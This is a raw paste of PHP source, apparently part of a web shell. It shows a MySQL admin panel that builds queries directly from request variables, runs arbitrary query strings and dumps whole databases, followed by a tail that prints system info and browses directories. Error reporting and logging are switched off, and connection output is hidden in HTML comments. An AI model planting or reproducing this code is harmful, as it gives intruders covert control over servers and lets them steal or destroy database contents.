  772. echo "<input type=hidden name=action value=editData_submit>\n";
  773. echo "<input type=hidden name=dbname value=$dbname>\n";
  774. echo "<input type=hidden name=tablename value=$tablename>\n";
  775. echo "<table cellspacing=1 cellpadding=2>\n";
  776. echo "<tr>\n";
  777. echo "<th>Name</th>\n";
  778. echo "<th>Type</th>\n";
  779. echo "<th>Function</th>\n";
  780. echo "<th>Data</th>\n";
  781. echo "</tr>\n";
  782.  
  783. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  784. $num = mysql_num_rows( $pResult );
  785.  
  786. $pResultLen = mysql_list_fields( $dbname, $tablename );
  787.  
  788. for( $i = 0; $i < $num; $i++ ) {
  789. $field = mysql_fetch_array( $pResult );
  790. $fieldname = $field["Field"];
  791. $fieldtype = $field["Type"];
  792. $len = mysql_field_len( $pResultLen, $i );
  793.  
  794. echo "<tr>";
  795. echo "<td>$fieldname</td>";
  796. echo "<td>".$field["Type"]."</td>";
  797. echo "<td>\n";
  798. echo "<select name=${fieldname}_function>\n";
  799. echo "<option>\n";
  800. echo "<option>ASCII\n";
  801. echo "<option>CHAR\n";
  802. echo "<option>SOUNDEX\n";
  803. echo "<option>CURDATE\n";
  804. echo "<option>CURTIME\n";
  805. echo "<option>FROM_DAYS\n";
  806. echo "<option>FROM_UNIXTIME\n";
  807. echo "<option>NOW\n";
  808. echo "<option>PASSWORD\n";
  809. echo "<option>PERIOD_ADD\n";
  810. echo "<option>PERIOD_DIFF\n";
  811. echo "<option>TO_DAYS\n";
  812. echo "<option>USER\n";
  813. echo "<option>WEEKDAY\n";
  814. echo "<option>RAND\n";
  815. echo "</select>\n";
  816. echo "</td>\n";
  817. $value = htmlspecialchars($data[$i]);
  818. if( $cmd == "add" ) {
  819. $type = strtok( $fieldtype, " (,)\n" );
  820. if( $type == "enum" || $type == "set" ) {
  821. echo "<td>\n";
  822. if( $type == "enum" )
  823. echo "<select name=$fieldname>\n";
  824. else if( $type == "set" )
  825. echo "<select name=$fieldname size=4 multiple>\n";
  826. while( $str = strtok( "'" ) ) {
  827. echo "<option>$str\n";
  828. strtok( "'" );
  829. }
  830. echo "</select>\n";
  831. echo "</td>\n";
  832. } else {
  833. if( $len < 40 )
  834. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  835. else
  836. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  837. }
  838. } else if( $cmd == "edit" ) {
  839. $type = strtok( $fieldtype, " (,)\n" );
  840. if( $type == "enum" || $type == "set" ) {
  841. echo "<td>\n";
  842. if( $type == "enum" )
  843. echo "<select name=$fieldname>\n";
  844. else if( $type == "set" )
  845. echo "<select name=$fieldname size=4 multiple>\n";
  846. while( $str = strtok( "'" ) ) {
  847. if( $value == $str )
  848. echo "<option selected>$str\n";
  849. else
  850. echo "<option>$str\n";
  851. strtok( "'" );
  852. }
  853. echo "</select>\n";
  854. echo "</td>\n";
  855. } else {
  856. if( $len < 40 )
  857. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  858. else
  859. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  860. }
  861. }
  862. echo "</tr>";
  863. }
  864. echo "</table><p>\n";
  865. if( $cmd == "add" )
  866. echo "<input type=submit value='Add Data'>\n";
  867. else if( $cmd == "edit" )
  868. echo "<input type=submit value='Edit Data'>\n";
  869. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  870. echo "</form>\n";
  871. }
  872.  
  873. function manageData_submit( $cmd ) {
  874. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  875.  
  876. $pResult = mysql_list_fields( $dbname, $tablename );
  877. $num = mysql_num_fields( $pResult );
  878.  
  879. mysql_select_db( $dbname, $mysqlHandle );
  880. if( $cmd == "add" )
  881. $queryStr = "INSERT INTO $tablename VALUES (";
  882. else if( $cmd == "edit" )
  883. $queryStr = "REPLACE INTO $tablename VALUES (";
  884. for( $i = 0; $i < $num-1; $i++ ) {
  885. $field = mysql_fetch_field( $pResult );
  886. $func = $GLOBALS[$field->name."_function"];
  887. if( $func != "" )
  888. $queryStr .= " $func(";
  889. if( $field->numeric == 1 ) {
  890. $queryStr .= $GLOBALS[$field->name];
  891. if( $func != "" )
  892. $queryStr .= "),";
  893. else
  894. $queryStr .= ",";
  895. } else {
  896. $queryStr .= "'" . $GLOBALS[$field->name];
  897. if( $func != "" )
  898. $queryStr .= "'),";
  899. else
  900. $queryStr .= "',";
  901. }
  902. }
  903. $field = mysql_fetch_field( $pResult );
  904. if( $field->numeric == 1 )
  905. $queryStr .= $GLOBALS[$field->name] . ")";
  906. else
  907. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  908.  
  909. mysql_query( $queryStr , $mysqlHandle );
  910. $errMsg = mysql_error();
  911.  
  912. viewData( "" );
  913. }
  914.  
  915. function deleteData() {
  916. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  917.  
  918. $pResult = mysql_list_fields( $dbname, $tablename );
  919. $num = mysql_num_fields( $pResult );
  920.  
  921. $key = "";
  922. for( $i = 0; $i < $num; $i++ ) {
  923. $field = mysql_fetch_field( $pResult, $i );
  924. if( $field->primary_key == 1 )
  925. if( $field->numeric == 1 )
  926. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  927. else
  928. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  929. }
  930. $key = substr( $key, 0, strlen($key)-4 );
  931.  
  932. mysql_select_db( $dbname, $mysqlHandle );
  933. $queryStr = "DELETE FROM $tablename WHERE $key";
  934. mysql_query( $queryStr, $mysqlHandle );
  935. $errMsg = mysql_error();
  936.  
  937. viewData( "" );
  938. }
  939.  
  940. function fetch_table_dump_sql($table)
  941. {
  942. global $mysqlHandle,$dbname;
  943.  
  944. mysql_select_db( $dbname, $mysqlHandle );
  945. $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  946. $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  947. $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  948.  
  949. echo $tabledump;
  950.  
  951. // get data
  952. $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  953. $numfields=mysql_num_fields($rows);
  954. while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  955. {
  956. $tabledump = "INSERT INTO $table VALUES(";
  957.  
  958. $fieldcounter = -1;
  959. $firstfield = 1;
  960. // get each field's data
  961. while (++$fieldcounter < $numfields)
  962. {
  963. if (!$firstfield)
  964. {
  965. $tabledump .= ', ';
  966. }
  967. else
  968. {
  969. $firstfield = 0;
  970. }
  971.  
  972. if (!isset($row["$fieldcounter"]))
  973. {
  974. $tabledump .= 'NULL';
  975. }
  976. else
  977. {
  978. $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  979. }
  980. }
  981.  
  982. $tabledump .= ");\n";
  983.  
  984. echo $tabledump;
  985.  
  986. }
  987. @mysql_free_result($rows);
  988. }
  989.  
  990. function dump() {
  991. global $mysqlHandle, $action, $dbname, $tablename;
  992.  
  993. if( $action == "dumpTable" ){
  994.  
  995. header("Content-disposition: filename=$tablename.sql");
  996. header('Content-type: unknown/unknown');
  997. fetch_table_dump_sql($tablename);
  998. echo "\n\n\n";
  999. echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  1000. exit;
  1001.  
  1002. }else{
  1003. header("Content-disposition: filename=$dbname.sql");
  1004. header('Content-type: unknown/unknown');
  1005.  
  1006. mysql_select_db( $dbname, $mysqlHandle );
  1007. $query_id = mysql_query("SHOW tables",$mysqlHandle);
  1008. while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  1009. {
  1010. fetch_table_dump_sql($row[0]);
  1011. echo "\n\n\n";
  1012. echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1013. echo "\n\n\n";
  1014. }
  1015. echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1016. exit;
  1017.  
  1018. }
  1019.  
  1020. }
  1021.  
  1022. function utils() {
  1023. global $PHP_SELF, $command;
  1024. echo "<h1>Utilities</h1>\n";
  1025. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1026. echo "<hr>\n";
  1027. echo "Show\n";
  1028. echo "<ul>\n";
  1029. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  1030. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  1031. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  1032. echo "</ul>\n";
  1033. echo "Flush\n";
  1034. echo "<ul>\n";
  1035. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  1036. if( $command == "flush_hosts" ) {
  1037. if( mysql_query( "Flush hosts" ) != false )
  1038. echo "<font size=2 color=red>- Success</font>";
  1039. else
  1040. echo "<font size=2 color=red>- Fail</font>";
  1041. }
  1042. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  1043. if( $command == "flush_logs" ) {
  1044. if( mysql_query( "Flush logs" ) != false )
  1045. echo "<font size=2 color=red>- Success</font>";
  1046. else
  1047. echo "<font size=2 color=red>- Fail</font>";
  1048. }
  1049. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  1050. if( $command == "flush_privileges" ) {
  1051. if( mysql_query( "Flush privileges" ) != false )
  1052. echo "<font size=2 color=red>- Success</font>";
  1053. else
  1054. echo "<font size=2 color=red>- Fail</font>";
  1055. }
  1056. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  1057. if( $command == "flush_tables" ) {
  1058. if( mysql_query( "Flush tables" ) != false )
  1059. echo "<font size=2 color=red>- Success</font>";
  1060. else
  1061. echo "<font size=2 color=red>- Fail</font>";
  1062. }
  1063. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  1064. if( $command == "flush_status" ) {
  1065. if( mysql_query( "Flush status" ) != false )
  1066. echo "<font size=2 color=red>- Success</font>";
  1067. else
  1068. echo "<font size=2 color=red>- Fail</font>";
  1069. }
  1070. echo "</ul>\n";
  1071. } else {
  1072. $queryStr = ereg_replace( "_", " ", $command );
  1073. $pResult = mysql_query( $queryStr );
  1074. if( $pResult == false ) {
  1075. echo "Fail";
  1076. return;
  1077. }
  1078. $col = mysql_num_fields( $pResult );
  1079.  
  1080. echo "<p class=location>$queryStr</p>\n";
  1081. echo "<hr>\n";
  1082.  
  1083. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1084. echo "<tr>\n";
  1085. for( $i = 0; $i < $col; $i++ ) {
  1086. $field = mysql_fetch_field( $pResult, $i );
  1087. echo "<th>".$field->name."</th>\n";
  1088. }
  1089. echo "</tr>\n";
  1090.  
  1091. while( 1 ) {
  1092. $rowArray = mysql_fetch_row( $pResult );
  1093. if( $rowArray == false ) break;
  1094. echo "<tr>\n";
  1095. for( $j = 0; $j < $col; $j++ )
  1096. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1097. echo "</tr>\n";
  1098. }
  1099. echo "</table>\n";
  1100. }
  1101. }
  1102.  
  1103. function header_html() {
  1104. global $PHP_SELF;
  1105.  
  1106. echo '
  1107. <html>
  1108. <head>
  1109. <title>MySQL Interface</title>
  1110. <style type="text/css">
  1111. <!--
  1112. p.location {
  1113. color: #11bb33;
  1114. font-size: small;
  1115. }
  1116. h1 {
  1117. color: #A4A260;
  1118. }
  1119. th {
  1120. background-color: #BDBE42;
  1121. color: #FFFFFF;
  1122. font-size: x-small;
  1123. }
  1124. td {
  1125. background-color: #DEDFA5;
  1126. font-size: x-small;
  1127. }
  1128. form {
  1129. margin-top: 0;
  1130. margin-bottom: 0;
  1131. }
  1132. a {
  1133. text-decoration:none;
  1134. color: #848200;
  1135. font-size:x-small;
  1136. }
  1137. a:link {
  1138. }
  1139. a:hover {
  1140. background-color:#EEEFD5;
  1141. color:#646200;
  1142. text-decoration:none
  1143. }
  1144. //-->
  1145. </style>
  1146. </head>
  1147. <body>
  1148. ';
  1149. }
  1150.  
  1151. function footer_html() {
  1152. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1153.  
  1154. echo "<hr>\n";
  1155. echo "<font size=2 color=blue>[$USERNAME]</font> - \n";
  1156.  
  1157. echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";
  1158. if( $tablename != "" )
  1159. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1160. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1161. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1162. echo "</font>\n";
  1163. echo "</body>\n";
  1164. echo "</html>\n";
  1165. }
  1166.  
  1167.  
  1168.  
  1169.  
  1170. //------------- MAIN ------------- //
  1171. error_reporting(0);
  1172. ini_set ('display_errors', 0);
  1173. ini_set ('log_errors', 0);
  1174.  
  1175. if( $action == "logon" || $action == "" || $action == "logout" )
  1176. logon();
  1177. else if( $action == "logon_submit" )
  1178. logon_submit();
  1179. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1180. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1181. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1182. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1183. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1184. }
  1185. $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1186. dump();
  1187. } else {
  1188. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1189. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1190. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1191. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1192. }
  1193. echo "<!--";
  1194. $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1195. echo "-->";
  1196.  
  1197. if( $mysqlHandle == false ) {
  1198. echo "<html>\n";
  1199. echo "<head>\n";
  1200. echo "<title>MySQL Interface</title>\n";
  1201. echo "</head>\n";
  1202. echo "<body>\n";
  1203. echo "<table width=100% height=100%><tr><td><center>\n";
  1204. echo "<h1>Wrong Password!</h1>\n";
  1205. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1206. echo "</center></td></tr></table>\n";
  1207. echo "</body>\n";
  1208. echo "</html>\n";
  1209. } else {
  1210. header_html();
  1211. if( $action == "listDBs" )
  1212. listDatabases();
  1213. else if( $action == "createDB" )
  1214. createDatabase();
  1215. else if( $action == "dropDB" )
  1216. dropDatabase();
  1217. else if( $action == "listTables" )
  1218. listTables();
  1219. else if( $action == "createTable" )
  1220. createTable();
  1221. else if( $action == "dropTable" )
  1222. dropTable();
  1223. else if( $action == "viewSchema" )
  1224. viewSchema();
  1225. else if( $action == "query" )
  1226. viewData( $queryStr );
  1227. else if( $action == "addField" )
  1228. manageField( "add" );
  1229. else if( $action == "addField_submit" )
  1230. manageField_submit( "add" );
  1231. else if( $action == "editField" )
  1232. manageField( "edit" );
  1233. else if( $action == "editField_submit" )
  1234. manageField_submit( "edit" );
  1235. else if( $action == "dropField" )
  1236. dropField();
  1237. else if( $action == "viewData" )
  1238. viewData( "" );
  1239. else if( $action == "addData" )
  1240. manageData( "add" );
  1241. else if( $action == "addData_submit" )
  1242. manageData_submit( "add" );
  1243. else if( $action == "editData" )
  1244. manageData( "edit" );
  1245. else if( $action == "editData_submit" )
  1246. manageData_submit( "edit" );
  1247. else if( $action == "deleteData" )
  1248. deleteData();
  1249. else if( $action == "utils" )
  1250. utils();
  1251.  
  1252. mysql_close( $mysqlHandle);
  1253. footer_html();
  1254. }
  1255. }
  1256. ?>
  1257. <p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p>
  1258. <?php
  1259. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1260. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  1261. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1262. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1263. $d = str_replace("\\\\","\\",$d);
  1264. $dispd = htmlspecialchars($d);
  1265. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1266. $i = 0;
  1267. foreach($pd as $b)
  1268. {
  1269. $t = "";
  1270. $j = 0;
  1271. foreach ($e as $r)
  1272. {
  1273. $t.= $r.DIRECTORY_SEPARATOR;
  1274. if ($j == $i) {break;}
  1275. $j++;
  1276. }
  1277. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  1278. $i++;
  1279. }
  1280. echo "&nbsp;&nbsp;&nbsp;";
  1281. if (is_writable($d))
  1282. {
  1283. $wd = TRUE;
  1284. $wdt = "<font color=green>[ ok ]</font>";
  1285. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1286. }
  1287. ?>
RAW Paste Data